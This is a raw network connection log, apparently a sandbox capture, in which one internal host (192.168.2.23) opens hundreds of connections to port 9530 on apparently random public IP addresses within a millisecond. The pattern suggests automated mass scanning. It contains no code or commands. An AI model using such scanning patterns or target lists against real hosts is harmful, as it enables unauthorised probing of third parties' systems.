May 16, 2024 16:38:52.980833054 CEST	55095	9530	192.168.2.23	189.234.233.15
May 16, 2024 16:38:52.980833054 CEST	55095	9530	192.168.2.23	43.232.160.93
May 16, 2024 16:38:52.980839968 CEST	55095	9530	192.168.2.23	63.71.2.229
May 16, 2024 16:38:52.980839968 CEST	55095	9530	192.168.2.23	106.104.221.205
May 16, 2024 16:38:52.980839968 CEST	55095	9530	192.168.2.23	129.92.141.192
May 16, 2024 16:38:52.980854988 CEST	55095	9530	192.168.2.23	150.249.110.225
May 16, 2024 16:38:52.980854988 CEST	55095	9530	192.168.2.23	73.197.55.240
May 16, 2024 16:38:52.980854988 CEST	55095	9530	192.168.2.23	195.235.127.59
May 16, 2024 16:38:52.980861902 CEST	55095	9530	192.168.2.23	109.186.7.102
May 16, 2024 16:38:52.980861902 CEST	55095	9530	192.168.2.23	119.111.61.52
May 16, 2024 16:38:52.980861902 CEST	55095	9530	192.168.2.23	104.56.29.19
May 16, 2024 16:38:52.980861902 CEST	55095	9530	192.168.2.23	185.51.254.221
May 16, 2024 16:38:52.980861902 CEST	55095	9530	192.168.2.23	64.104.239.97
May 16, 2024 16:38:52.980861902 CEST	55095	9530	192.168.2.23	187.232.252.203
May 16, 2024 16:38:52.980861902 CEST	55095	9530	192.168.2.23	94.31.100.24
May 16, 2024 16:38:52.980861902 CEST	55095	9530	192.168.2.23	186.73.194.29
May 16, 2024 16:38:52.980861902 CEST	55095	9530	192.168.2.23	61.149.238.168
May 16, 2024 16:38:52.980861902 CEST	55095	9530	192.168.2.23	76.42.208.45
May 16, 2024 16:38:52.980861902 CEST	55095	9530	192.168.2.23	34.135.169.122
May 16, 2024 16:38:52.980865002 CEST	55095	9530	192.168.2.23	50.42.13.57
May 16, 2024 16:38:52.980865955 CEST	55095	9530	192.168.2.23	58.25.118.212
May 16, 2024 16:38:52.980871916 CEST	55095	9530	192.168.2.23	52.77.58.229
May 16, 2024 16:38:52.980871916 CEST	55095	9530	192.168.2.23	78.129.178.67
May 16, 2024 16:38:52.980880976 CEST	55095	9530	192.168.2.23	62.1.159.157
May 16, 2024 16:38:52.980882883 CEST	55095	9530	192.168.2.23	45.83.221.89
May 16, 2024 16:38:52.980884075 CEST	55095	9530	192.168.2.23	87.67.87.223
May 16, 2024 16:38:52.980889082 CEST	55095	9530	192.168.2.23	18.56.128.255
May 16, 2024 16:38:52.980889082 CEST	55095	9530	192.168.2.23	217.137.148.158
May 16, 2024 16:38:52.980897903 CEST	55095	9530	192.168.2.23	179.31.61.47
May 16, 2024 16:38:52.980906963 CEST	55095	9530	192.168.2.23	2.157.247.251
May 16, 2024 16:38:52.980906963 CEST	55095	9530	192.168.2.23	213.130.171.165
May 16, 2024 16:38:52.980906963 CEST	55095	9530	192.168.2.23	83.15.136.227
May 16, 2024 16:38:52.980910063 CEST	55095	9530	192.168.2.23	8.89.65.210
May 16, 2024 16:38:52.980910063 CEST	55095	9530	192.168.2.23	51.5.143.110
May 16, 2024 16:38:52.980910063 CEST	55095	9530	192.168.2.23	113.150.7.235
May 16, 2024 16:38:52.980912924 CEST	55095	9530	192.168.2.23	84.252.150.31
May 16, 2024 16:38:52.980917931 CEST	55095	9530	192.168.2.23	107.97.227.152
May 16, 2024 16:38:52.980917931 CEST	55095	9530	192.168.2.23	59.236.188.114
May 16, 2024 16:38:52.980917931 CEST	55095	9530	192.168.2.23	1.60.56.21
May 16, 2024 16:38:52.980917931 CEST	55095	9530	192.168.2.23	216.165.92.193
May 16, 2024 16:38:52.980925083 CEST	55095	9530	192.168.2.23	63.53.13.143
May 16, 2024 16:38:52.980925083 CEST	55095	9530	192.168.2.23	78.198.137.185
May 16, 2024 16:38:52.980925083 CEST	55095	9530	192.168.2.23	202.104.71.65
May 16, 2024 16:38:52.980925083 CEST	55095	9530	192.168.2.23	49.40.163.226
May 16, 2024 16:38:52.980925083 CEST	55095	9530	192.168.2.23	208.66.206.16
May 16, 2024 16:38:52.980940104 CEST	55095	9530	192.168.2.23	14.27.184.203
May 16, 2024 16:38:52.980940104 CEST	55095	9530	192.168.2.23	87.0.7.105
May 16, 2024 16:38:52.980947018 CEST	55095	9530	192.168.2.23	35.223.171.237
May 16, 2024 16:38:52.980947018 CEST	55095	9530	192.168.2.23	135.146.237.1
May 16, 2024 16:38:52.980947018 CEST	55095	9530	192.168.2.23	207.175.142.235
May 16, 2024 16:38:52.980947018 CEST	55095	9530	192.168.2.23	177.78.24.128
May 16, 2024 16:38:52.980947018 CEST	55095	9530	192.168.2.23	135.170.127.1
May 16, 2024 16:38:52.980948925 CEST	55095	9530	192.168.2.23	122.82.186.234
May 16, 2024 16:38:52.980947971 CEST	55095	9530	192.168.2.23	14.123.192.66
May 16, 2024 16:38:52.980950117 CEST	55095	9530	192.168.2.23	93.88.137.233
May 16, 2024 16:38:52.980961084 CEST	55095	9530	192.168.2.23	97.188.190.200
May 16, 2024 16:38:52.980963945 CEST	55095	9530	192.168.2.23	200.67.100.137
May 16, 2024 16:38:52.980963945 CEST	55095	9530	192.168.2.23	92.136.97.227
May 16, 2024 16:38:52.980967999 CEST	55095	9530	192.168.2.23	160.54.173.176
May 16, 2024 16:38:52.980983019 CEST	55095	9530	192.168.2.23	80.61.45.210
May 16, 2024 16:38:52.980983973 CEST	55095	9530	192.168.2.23	72.70.10.69
May 16, 2024 16:38:52.980983973 CEST	55095	9530	192.168.2.23	201.132.149.1
May 16, 2024 16:38:52.980988979 CEST	55095	9530	192.168.2.23	5.188.87.226
May 16, 2024 16:38:52.980988979 CEST	55095	9530	192.168.2.23	153.42.206.238
May 16, 2024 16:38:52.980998039 CEST	55095	9530	192.168.2.23	20.205.174.84
May 16, 2024 16:38:52.981000900 CEST	55095	9530	192.168.2.23	98.188.219.30
May 16, 2024 16:38:52.980998039 CEST	55095	9530	192.168.2.23	134.127.82.165
May 16, 2024 16:38:52.981000900 CEST	55095	9530	192.168.2.23	182.149.31.185
May 16, 2024 16:38:52.981024981 CEST	55095	9530	192.168.2.23	171.188.72.194
May 16, 2024 16:38:52.981028080 CEST	55095	9530	192.168.2.23	82.203.43.84
May 16, 2024 16:38:52.981029034 CEST	55095	9530	192.168.2.23	183.216.165.160
May 16, 2024 16:38:52.981029034 CEST	55095	9530	192.168.2.23	117.135.40.200
May 16, 2024 16:38:52.981028080 CEST	55095	9530	192.168.2.23	39.112.169.115
May 16, 2024 16:38:52.981028080 CEST	55095	9530	192.168.2.23	120.152.153.61
May 16, 2024 16:38:52.981028080 CEST	55095	9530	192.168.2.23	160.140.128.40
May 16, 2024 16:38:52.981035948 CEST	55095	9530	192.168.2.23	110.17.156.221
May 16, 2024 16:38:52.981039047 CEST	55095	9530	192.168.2.23	65.102.210.250
May 16, 2024 16:38:52.981043100 CEST	55095	9530	192.168.2.23	165.74.2.172
May 16, 2024 16:38:52.981043100 CEST	55095	9530	192.168.2.23	49.221.80.241
May 16, 2024 16:38:52.981043100 CEST	55095	9530	192.168.2.23	135.215.32.13
May 16, 2024 16:38:52.981043100 CEST	55095	9530	192.168.2.23	114.187.134.148
May 16, 2024 16:38:52.981049061 CEST	55095	9530	192.168.2.23	75.70.201.48
May 16, 2024 16:38:52.981050014 CEST	55095	9530	192.168.2.23	131.227.92.207
May 16, 2024 16:38:52.981050014 CEST	55095	9530	192.168.2.23	155.84.230.89
May 16, 2024 16:38:52.981055975 CEST	55095	9530	192.168.2.23	161.35.193.109
May 16, 2024 16:38:52.981057882 CEST	55095	9530	192.168.2.23	219.130.96.172
May 16, 2024 16:38:52.981057882 CEST	55095	9530	192.168.2.23	201.11.102.49
May 16, 2024 16:38:52.981059074 CEST	55095	9530	192.168.2.23	154.214.174.176
May 16, 2024 16:38:52.981059074 CEST	55095	9530	192.168.2.23	92.61.3.78
May 16, 2024 16:38:52.981059074 CEST	55095	9530	192.168.2.23	93.205.240.208
May 16, 2024 16:38:52.981070995 CEST	55095	9530	192.168.2.23	91.204.40.222
May 16, 2024 16:38:52.981071949 CEST	55095	9530	192.168.2.23	131.163.71.52
May 16, 2024 16:38:52.981074095 CEST	55095	9530	192.168.2.23	216.62.192.234
May 16, 2024 16:38:52.981074095 CEST	55095	9530	192.168.2.23	139.180.82.114
May 16, 2024 16:38:52.981074095 CEST	55095	9530	192.168.2.23	204.241.124.149
May 16, 2024 16:38:52.981075048 CEST	55095	9530	192.168.2.23	164.24.184.72
May 16, 2024 16:38:52.981076956 CEST	55095	9530	192.168.2.23	209.231.14.157
May 16, 2024 16:38:52.981079102 CEST	55095	9530	192.168.2.23	89.230.118.111
May 16, 2024 16:38:52.981079102 CEST	55095	9530	192.168.2.23	204.110.125.12
May 16, 2024 16:38:52.981081009 CEST	55095	9530	192.168.2.23	119.200.190.10
May 16, 2024 16:38:52.981081963 CEST	55095	9530	192.168.2.23	107.212.51.251
May 16, 2024 16:38:52.981097937 CEST	55095	9530	192.168.2.23	4.121.106.16
May 16, 2024 16:38:52.981097937 CEST	55095	9530	192.168.2.23	51.211.204.85
May 16, 2024 16:38:52.981097937 CEST	55095	9530	192.168.2.23	137.177.16.182
May 16, 2024 16:38:52.981110096 CEST	55095	9530	192.168.2.23	62.196.229.8
May 16, 2024 16:38:52.981112957 CEST	55095	9530	192.168.2.23	151.203.143.40
May 16, 2024 16:38:52.981112957 CEST	55095	9530	192.168.2.23	53.218.169.164
May 16, 2024 16:38:52.981113911 CEST	55095	9530	192.168.2.23	206.166.224.227
May 16, 2024 16:38:52.981113911 CEST	55095	9530	192.168.2.23	82.234.248.246
May 16, 2024 16:38:52.981116056 CEST	55095	9530	192.168.2.23	147.151.132.103
May 16, 2024 16:38:52.981127977 CEST	55095	9530	192.168.2.23	5.67.50.79
May 16, 2024 16:38:52.981128931 CEST	55095	9530	192.168.2.23	139.152.74.116
May 16, 2024 16:38:52.981132984 CEST	55095	9530	192.168.2.23	79.82.185.112
May 16, 2024 16:38:52.981132984 CEST	55095	9530	192.168.2.23	66.255.63.179
May 16, 2024 16:38:52.981132984 CEST	55095	9530	192.168.2.23	160.250.134.15
May 16, 2024 16:38:52.981136084 CEST	55095	9530	192.168.2.23	1.63.60.182
May 16, 2024 16:38:52.981136084 CEST	55095	9530	192.168.2.23	223.250.183.199
May 16, 2024 16:38:52.981136084 CEST	55095	9530	192.168.2.23	60.127.15.182
May 16, 2024 16:38:52.981136084 CEST	55095	9530	192.168.2.23	219.18.158.38
May 16, 2024 16:38:52.981137991 CEST	55095	9530	192.168.2.23	143.200.177.57
May 16, 2024 16:38:52.981136084 CEST	55095	9530	192.168.2.23	44.94.250.159
May 16, 2024 16:38:52.981142998 CEST	55095	9530	192.168.2.23	125.154.23.2
May 16, 2024 16:38:52.981142998 CEST	55095	9530	192.168.2.23	116.202.213.205
May 16, 2024 16:38:52.981142998 CEST	55095	9530	192.168.2.23	209.208.108.50
May 16, 2024 16:38:52.981152058 CEST	55095	9530	192.168.2.23	27.249.174.202
May 16, 2024 16:38:52.981152058 CEST	55095	9530	192.168.2.23	153.152.68.118
May 16, 2024 16:38:52.981157064 CEST	55095	9530	192.168.2.23	87.224.18.39
May 16, 2024 16:38:52.981157064 CEST	55095	9530	192.168.2.23	109.48.183.51
May 16, 2024 16:38:52.981157064 CEST	55095	9530	192.168.2.23	166.3.183.99
May 16, 2024 16:38:52.981157064 CEST	55095	9530	192.168.2.23	161.236.227.43
May 16, 2024 16:38:52.981158972 CEST	55095	9530	192.168.2.23	194.222.152.64
May 16, 2024 16:38:52.981161118 CEST	55095	9530	192.168.2.23	19.173.188.17
May 16, 2024 16:38:52.981161118 CEST	55095	9530	192.168.2.23	124.14.209.205
May 16, 2024 16:38:52.981162071 CEST	55095	9530	192.168.2.23	205.57.195.148
May 16, 2024 16:38:52.981162071 CEST	55095	9530	192.168.2.23	142.24.191.15
May 16, 2024 16:38:52.981168032 CEST	55095	9530	192.168.2.23	108.118.160.133
May 16, 2024 16:38:52.981169939 CEST	55095	9530	192.168.2.23	108.148.229.117
May 16, 2024 16:38:52.981182098 CEST	55095	9530	192.168.2.23	177.40.243.7
May 16, 2024 16:38:52.981184959 CEST	55095	9530	192.168.2.23	5.245.69.111
May 16, 2024 16:38:52.981190920 CEST	55095	9530	192.168.2.23	38.115.228.225
May 16, 2024 16:38:52.981203079 CEST	55095	9530	192.168.2.23	203.132.14.226
May 16, 2024 16:38:52.981203079 CEST	55095	9530	192.168.2.23	132.92.159.27
May 16, 2024 16:38:52.981204033 CEST	55095	9530	192.168.2.23	59.11.255.208
May 16, 2024 16:38:52.981204033 CEST	55095	9530	192.168.2.23	133.125.40.42
May 16, 2024 16:38:52.981204033 CEST	55095	9530	192.168.2.23	70.127.68.99
May 16, 2024 16:38:52.981204033 CEST	55095	9530	192.168.2.23	47.174.50.5
May 16, 2024 16:38:52.981214046 CEST	55095	9530	192.168.2.23	85.177.203.161
May 16, 2024 16:38:52.981214046 CEST	55095	9530	192.168.2.23	202.19.118.64
May 16, 2024 16:38:52.981229067 CEST	55095	9530	192.168.2.23	27.187.98.41
May 16, 2024 16:38:52.981232882 CEST	55095	9530	192.168.2.23	92.226.65.43
May 16, 2024 16:38:52.981232882 CEST	55095	9530	192.168.2.23	82.147.47.220
May 16, 2024 16:38:52.981232882 CEST	55095	9530	192.168.2.23	27.250.1.18
May 16, 2024 16:38:52.981236935 CEST	55095	9530	192.168.2.23	171.57.207.12
May 16, 2024 16:38:52.981240988 CEST	55095	9530	192.168.2.23	166.76.120.111
May 16, 2024 16:38:52.981240988 CEST	55095	9530	192.168.2.23	142.77.37.59
May 16, 2024 16:38:52.981240988 CEST	55095	9530	192.168.2.23	23.190.175.95
May 16, 2024 16:38:52.981240988 CEST	55095	9530	192.168.2.23	190.53.162.38
May 16, 2024 16:38:52.981247902 CEST	55095	9530	192.168.2.23	210.58.94.86
May 16, 2024 16:38:52.981249094 CEST	55095	9530	192.168.2.23	125.12.134.233
May 16, 2024 16:38:52.981249094 CEST	55095	9530	192.168.2.23	68.246.225.118
May 16, 2024 16:38:52.981249094 CEST	55095	9530	192.168.2.23	36.62.243.106
May 16, 2024 16:38:52.981252909 CEST	55095	9530	192.168.2.23	187.211.236.130
May 16, 2024 16:38:52.981256008 CEST	55095	9530	192.168.2.23	160.189.221.212
May 16, 2024 16:38:52.981265068 CEST	55095	9530	192.168.2.23	93.68.245.247
May 16, 2024 16:38:52.981265068 CEST	55095	9530	192.168.2.23	217.36.142.185
May 16, 2024 16:38:52.981267929 CEST	55095	9530	192.168.2.23	68.19.127.100
May 16, 2024 16:38:52.981272936 CEST	55095	9530	192.168.2.23	109.51.116.245
May 16, 2024 16:38:52.981272936 CEST	55095	9530	192.168.2.23	221.252.58.75
May 16, 2024 16:38:52.981276989 CEST	55095	9530	192.168.2.23	42.33.213.111
May 16, 2024 16:38:52.981281996 CEST	55095	9530	192.168.2.23	49.61.21.47
May 16, 2024 16:38:52.981281996 CEST	55095	9530	192.168.2.23	157.79.114.49
May 16, 2024 16:38:52.981287003 CEST	55095	9530	192.168.2.23	190.186.108.96
May 16, 2024 16:38:52.981288910 CEST	55095	9530	192.168.2.23	73.198.29.194
May 16, 2024 16:38:52.981288910 CEST	55095	9530	192.168.2.23	128.141.222.172
May 16, 2024 16:38:52.981288910 CEST	55095	9530	192.168.2.23	130.30.92.89
May 16, 2024 16:38:52.981295109 CEST	55095	9530	192.168.2.23	199.164.83.28
May 16, 2024 16:38:52.981309891 CEST	55095	9530	192.168.2.23	104.102.181.200
May 16, 2024 16:38:52.981316090 CEST	55095	9530	192.168.2.23	110.236.244.215
May 16, 2024 16:38:52.981319904 CEST	55095	9530	192.168.2.23	166.226.128.77
May 16, 2024 16:38:52.981319904 CEST	55095	9530	192.168.2.23	150.200.93.163
May 16, 2024 16:38:52.981321096 CEST	55095	9530	192.168.2.23	18.173.89.185
May 16, 2024 16:38:52.981319904 CEST	55095	9530	192.168.2.23	141.232.15.52
May 16, 2024 16:38:52.981319904 CEST	55095	9530	192.168.2.23	168.229.222.120
May 16, 2024 16:38:52.981323957 CEST	55095	9530	192.168.2.23	159.34.80.189
May 16, 2024 16:38:52.981323957 CEST	55095	9530	192.168.2.23	153.199.16.26
May 16, 2024 16:38:52.981323957 CEST	55095	9530	192.168.2.23	150.88.171.163
May 16, 2024 16:38:52.981324911 CEST	55095	9530	192.168.2.23	50.63.227.18
May 16, 2024 16:38:52.981324911 CEST	55095	9530	192.168.2.23	84.40.7.182
May 16, 2024 16:38:52.981339931 CEST	55095	9530	192.168.2.23	185.158.0.67
May 16, 2024 16:38:52.981339931 CEST	55095	9530	192.168.2.23	63.131.194.136
May 16, 2024 16:38:52.981343985 CEST	55095	9530	192.168.2.23	169.10.167.183
May 16, 2024 16:38:52.981343985 CEST	55095	9530	192.168.2.23	144.41.193.237
May 16, 2024 16:38:52.981353998 CEST	55095	9530	192.168.2.23	204.72.55.86
May 16, 2024 16:38:52.981353998 CEST	55095	9530	192.168.2.23	19.80.170.166
May 16, 2024 16:38:52.981353998 CEST	55095	9530	192.168.2.23	157.196.234.253
May 16, 2024 16:38:52.981353998 CEST	55095	9530	192.168.2.23	218.182.210.238
May 16, 2024 16:38:52.981355906 CEST	55095	9530	192.168.2.23	150.206.220.209
May 16, 2024 16:38:52.981367111 CEST	55095	9530	192.168.2.23	35.129.199.18
May 16, 2024 16:38:52.981367111 CEST	55095	9530	192.168.2.23	41.131.48.121
May 16, 2024 16:38:52.981367111 CEST	55095	9530	192.168.2.23	124.167.211.252
May 16, 2024 16:38:52.981369019 CEST	55095	9530	192.168.2.23	222.89.217.66
May 16, 2024 16:38:52.981369019 CEST	55095	9530	192.168.2.23	160.127.13.50
May 16, 2024 16:38:52.981369019 CEST	55095	9530	192.168.2.23	42.63.4.50
May 16, 2024 16:38:52.981369019 CEST	55095	9530	192.168.2.23	66.126.49.121
May 16, 2024 16:38:52.981369019 CEST	55095	9530	192.168.2.23	169.71.77.36
May 16, 2024 16:38:52.981375933 CEST	55095	9530	192.168.2.23	61.141.60.21
May 16, 2024 16:38:52.981386900 CEST	55095	9530	192.168.2.23	9.177.73.29
May 16, 2024 16:38:52.981391907 CEST	55095	9530	192.168.2.23	71.25.149.38
May 16, 2024 16:38:52.981391907 CEST	55095	9530	192.168.2.23	170.25.77.158
May 16, 2024 16:38:52.981391907 CEST	55095	9530	192.168.2.23	116.235.230.74
May 16, 2024 16:38:52.981394053 CEST	55095	9530	192.168.2.23	142.94.140.241
May 16, 2024 16:38:52.981394053 CEST	55095	9530	192.168.2.23	77.59.254.162
May 16, 2024 16:38:52.981399059 CEST	55095	9530	192.168.2.23	114.104.217.146
May 16, 2024 16:38:52.981399059 CEST	55095	9530	192.168.2.23	202.163.95.210
May 16, 2024 16:38:52.981424093 CEST	55095	9530	192.168.2.23	12.200.35.216
May 16, 2024 16:38:52.981424093 CEST	55095	9530	192.168.2.23	13.38.156.145
May 16, 2024 16:38:52.981424093 CEST	55095	9530	192.168.2.23	75.97.75.11
May 16, 2024 16:38:52.981424093 CEST	55095	9530	192.168.2.23	158.24.59.135
May 16, 2024 16:38:52.981424093 CEST	55095	9530	192.168.2.23	217.161.22.245
May 16, 2024 16:38:52.981432915 CEST	55095	9530	192.168.2.23	208.0.92.175
May 16, 2024 16:38:52.981432915 CEST	55095	9530	192.168.2.23	31.227.29.217
May 16, 2024 16:38:52.981434107 CEST	55095	9530	192.168.2.23	95.169.165.114
May 16, 2024 16:38:52.981442928 CEST	55095	9530	192.168.2.23	36.51.204.105
May 16, 2024 16:38:52.981445074 CEST	55095	9530	192.168.2.23	186.25.76.191
May 16, 2024 16:38:52.981445074 CEST	55095	9530	192.168.2.23	106.109.148.21
May 16, 2024 16:38:52.981445074 CEST	55095	9530	192.168.2.23	12.50.221.82
May 16, 2024 16:38:52.981451035 CEST	55095	9530	192.168.2.23	71.157.145.90
May 16, 2024 16:38:52.981451035 CEST	55095	9530	192.168.2.23	133.112.81.5
May 16, 2024 16:38:52.981455088 CEST	55095	9530	192.168.2.23	34.48.156.174
May 16, 2024 16:38:52.981465101 CEST	55095	9530	192.168.2.23	167.179.35.147
May 16, 2024 16:38:52.981473923 CEST	55095	9530	192.168.2.23	172.170.116.171
May 16, 2024 16:38:52.981476068 CEST	55095	9530	192.168.2.23	196.207.161.208
May 16, 2024 16:38:52.981476068 CEST	55095	9530	192.168.2.23	223.48.237.112
May 16, 2024 16:38:52.981476068 CEST	55095	9530	192.168.2.23	165.43.33.242
May 16, 2024 16:38:52.981476068 CEST	55095	9530	192.168.2.23	83.202.233.119
May 16, 2024 16:38:52.981477022 CEST	55095	9530	192.168.2.23	96.57.253.178
May 16, 2024 16:38:52.981477022 CEST	55095	9530	192.168.2.23	64.199.123.60
May 16, 2024 16:38:52.981477022 CEST	55095	9530	192.168.2.23	87.41.48.138
May 16, 2024 16:38:52.981477022 CEST	55095	9530	192.168.2.23	123.180.182.9
May 16, 2024 16:38:52.981489897 CEST	55095	9530	192.168.2.23	125.106.182.45
May 16, 2024 16:38:52.981489897 CEST	55095	9530	192.168.2.23	161.141.235.71
May 16, 2024 16:38:52.981491089 CEST	55095	9530	192.168.2.23	212.28.57.202
May 16, 2024 16:38:52.981491089 CEST	55095	9530	192.168.2.23	98.243.222.209
May 16, 2024 16:38:52.981492996 CEST	55095	9530	192.168.2.23	41.81.9.73
May 16, 2024 16:38:52.981497049 CEST	55095	9530	192.168.2.23	110.110.237.237
May 16, 2024 16:38:52.981497049 CEST	55095	9530	192.168.2.23	53.167.252.56
May 16, 2024 16:38:52.981497049 CEST	55095	9530	192.168.2.23	41.3.144.102
May 16, 2024 16:38:52.981501102 CEST	55095	9530	192.168.2.23	217.168.182.16
May 16, 2024 16:38:52.981506109 CEST	55095	9530	192.168.2.23	107.93.52.155
May 16, 2024 16:38:52.981508017 CEST	55095	9530	192.168.2.23	178.1.143.246
May 16, 2024 16:38:52.981508017 CEST	55095	9530	192.168.2.23	187.86.144.38
May 16, 2024 16:38:52.981509924 CEST	55095	9530	192.168.2.23	220.216.37.110
May 16, 2024 16:38:52.981509924 CEST	55095	9530	192.168.2.23	179.103.16.228
May 16, 2024 16:38:52.981512070 CEST	55095	9530	192.168.2.23	82.197.61.196
May 16, 2024 16:38:52.981515884 CEST	55095	9530	192.168.2.23	209.24.94.237
May 16, 2024 16:38:52.981515884 CEST	55095	9530	192.168.2.23	174.248.240.20
May 16, 2024 16:38:52.981515884 CEST	55095	9530	192.168.2.23	208.69.41.246
May 16, 2024 16:38:52.981529951 CEST	55095	9530	192.168.2.23	222.43.33.63
May 16, 2024 16:38:52.981529951 CEST	55095	9530	192.168.2.23	83.12.92.120
May 16, 2024 16:38:52.981539011 CEST	55095	9530	192.168.2.23	122.48.41.212
May 16, 2024 16:38:52.981539011 CEST	55095	9530	192.168.2.23	223.102.119.110
May 16, 2024 16:38:52.981539011 CEST	55095	9530	192.168.2.23	169.31.116.98
May 16, 2024 16:38:52.981548071 CEST	55095	9530	192.168.2.23	60.114.29.254
May 16, 2024 16:38:52.981548071 CEST	55095	9530	192.168.2.23	163.252.139.210
May 16, 2024 16:38:52.981548071 CEST	55095	9530	192.168.2.23	196.35.33.239
May 16, 2024 16:38:52.981561899 CEST	55095	9530	192.168.2.23	216.254.125.150
May 16, 2024 16:38:52.981564045 CEST	55095	9530	192.168.2.23	176.85.12.216
May 16, 2024 16:38:52.981566906 CEST	55095	9530	192.168.2.23	100.0.231.124
May 16, 2024 16:38:52.981568098 CEST	55095	9530	192.168.2.23	171.37.190.94
May 16, 2024 16:38:52.981569052 CEST	55095	9530	192.168.2.23	109.143.186.237
May 16, 2024 16:38:52.981569052 CEST	55095	9530	192.168.2.23	104.129.85.34
May 16, 2024 16:38:52.981569052 CEST	55095	9530	192.168.2.23	153.1.69.218
May 16, 2024 16:38:52.981569052 CEST	55095	9530	192.168.2.23	19.181.220.197
May 16, 2024 16:38:52.981570005 CEST	55095	9530	192.168.2.23	147.32.63.55
May 16, 2024 16:38:52.981570005 CEST	55095	9530	192.168.2.23	150.217.249.224
May 16, 2024 16:38:52.981591940 CEST	55095	9530	192.168.2.23	142.216.42.73
May 16, 2024 16:38:52.981591940 CEST	55095	9530	192.168.2.23	58.244.252.146
May 16, 2024 16:38:52.981592894 CEST	55095	9530	192.168.2.23	121.6.137.37
May 16, 2024 16:38:52.981594086 CEST	55095	9530	192.168.2.23	223.234.189.101
May 16, 2024 16:38:52.981594086 CEST	55095	9530	192.168.2.23	170.116.155.125
May 16, 2024 16:38:52.981594086 CEST	55095	9530	192.168.2.23	97.215.60.77
May 16, 2024 16:38:52.981594086 CEST	55095	9530	192.168.2.23	61.139.199.59
May 16, 2024 16:38:52.981600046 CEST	55095	9530	192.168.2.23	103.190.35.241
May 16, 2024 16:38:52.981602907 CEST	55095	9530	192.168.2.23	173.98.224.12
May 16, 2024 16:38:52.981602907 CEST	55095	9530	192.168.2.23	216.58.189.104
May 16, 2024 16:38:52.981606007 CEST	55095	9530	192.168.2.23	193.18.129.5
May 16, 2024 16:38:52.981612921 CEST	55095	9530	192.168.2.23	77.121.54.168
May 16, 2024 16:38:52.981615067 CEST	55095	9530	192.168.2.23	192.151.23.29
May 16, 2024 16:38:52.981627941 CEST	55095	9530	192.168.2.23	206.178.220.41
May 16, 2024 16:38:52.981630087 CEST	55095	9530	192.168.2.23	181.202.35.158
May 16, 2024 16:38:52.981630087 CEST	55095	9530	192.168.2.23	130.4.127.243
May 16, 2024 16:38:52.981631041 CEST	55095	9530	192.168.2.23	197.51.202.140
May 16, 2024 16:38:52.981633902 CEST	55095	9530	192.168.2.23	71.113.130.111
May 16, 2024 16:38:52.981651068 CEST	55095	9530	192.168.2.23	100.228.212.186
May 16, 2024 16:38:52.981652021 CEST	55095	9530	192.168.2.23	130.83.43.170
May 16, 2024 16:38:52.981654882 CEST	55095	9530	192.168.2.23	146.57.232.74
May 16, 2024 16:38:52.981663942 CEST	55095	9530	192.168.2.23	140.31.229.38
May 16, 2024 16:38:52.981672049 CEST	55095	9530	192.168.2.23	212.138.203.38
May 16, 2024 16:38:52.981672049 CEST	55095	9530	192.168.2.23	138.63.227.15
May 16, 2024 16:38:52.981672049 CEST	55095	9530	192.168.2.23	188.224.32.35
May 16, 2024 16:38:52.981674910 CEST	55095	9530	192.168.2.23	95.77.128.224
May 16, 2024 16:38:52.981677055 CEST	55095	9530	192.168.2.23	181.55.102.241
May 16, 2024 16:38:52.981681108 CEST	55095	9530	192.168.2.23	110.5.102.28
May 16, 2024 16:38:52.981681108 CEST	55095	9530	192.168.2.23	195.218.231.34
May 16, 2024 16:38:52.981687069 CEST	55095	9530	192.168.2.23	165.188.26.158
May 16, 2024 16:38:52.981698990 CEST	55095	9530	192.168.2.23	52.22.162.108
May 16, 2024 16:38:52.981698990 CEST	55095	9530	192.168.2.23	37.115.225.191
May 16, 2024 16:38:52.981698990 CEST	55095	9530	192.168.2.23	197.96.188.245
May 16, 2024 16:38:52.981698990 CEST	55095	9530	192.168.2.23	31.179.191.43
May 16, 2024 16:38:52.981709957 CEST	55095	9530	192.168.2.23	62.223.167.91
May 16, 2024 16:38:52.981712103 CEST	55095	9530	192.168.2.23	25.243.5.206
May 16, 2024 16:38:52.981712103 CEST	55095	9530	192.168.2.23	134.91.194.10
May 16, 2024 16:38:52.981715918 CEST	55095	9530	192.168.2.23	41.30.112.110
May 16, 2024 16:38:52.981715918 CEST	55095	9530	192.168.2.23	66.11.223.249
May 16, 2024 16:38:52.981715918 CEST	55095	9530	192.168.2.23	164.182.179.178
May 16, 2024 16:38:52.981720924 CEST	55095	9530	192.168.2.23	120.181.216.102
May 16, 2024 16:38:52.981720924 CEST	55095	9530	192.168.2.23	205.120.201.9
May 16, 2024 16:38:52.981739044 CEST	55095	9530	192.168.2.23	62.24.97.104
May 16, 2024 16:38:52.981739044 CEST	55095	9530	192.168.2.23	41.112.185.253
May 16, 2024 16:38:52.981739044 CEST	55095	9530	192.168.2.23	145.243.25.240
May 16, 2024 16:38:52.981744051 CEST	55095	9530	192.168.2.23	54.62.88.251
May 16, 2024 16:38:52.981745005 CEST	55095	9530	192.168.2.23	185.141.53.4
May 16, 2024 16:38:52.981746912 CEST	55095	9530	192.168.2.23	75.97.228.157
May 16, 2024 16:38:52.981753111 CEST	55095	9530	192.168.2.23	76.216.146.214
May 16, 2024 16:38:52.981753111 CEST	55095	9530	192.168.2.23	222.44.69.19
May 16, 2024 16:38:52.981776953 CEST	55095	9530	192.168.2.23	14.163.1.31
May 16, 2024 16:38:52.981776953 CEST	55095	9530	192.168.2.23	143.175.196.209
May 16, 2024 16:38:52.981796026 CEST	55095	9530	192.168.2.23	118.225.67.184
May 16, 2024 16:38:52.981796026 CEST	55095	9530	192.168.2.23	137.68.77.33
May 16, 2024 16:38:52.981796980 CEST	55095	9530	192.168.2.23	219.161.158.137
May 16, 2024 16:38:52.981801033 CEST	55095	9530	192.168.2.23	149.242.25.143
May 16, 2024 16:38:52.981801033 CEST	55095	9530	192.168.2.23	158.21.108.189
May 16, 2024 16:38:52.981801033 CEST	55095	9530	192.168.2.23	42.50.84.73
May 16, 2024 16:38:52.981806993 CEST	55095	9530	192.168.2.23	59.192.77.13
May 16, 2024 16:38:52.981806993 CEST	55095	9530	192.168.2.23	155.197.14.211
May 16, 2024 16:38:52.981806993 CEST	55095	9530	192.168.2.23	69.247.120.87
May 16, 2024 16:38:52.981806993 CEST	55095	9530	192.168.2.23	136.35.188.165
May 16, 2024 16:38:52.981807947 CEST	55095	9530	192.168.2.23	133.45.47.250
May 16, 2024 16:38:52.981807947 CEST	55095	9530	192.168.2.23	208.226.36.211
May 16, 2024 16:38:52.981810093 CEST	55095	9530	192.168.2.23	101.163.140.80
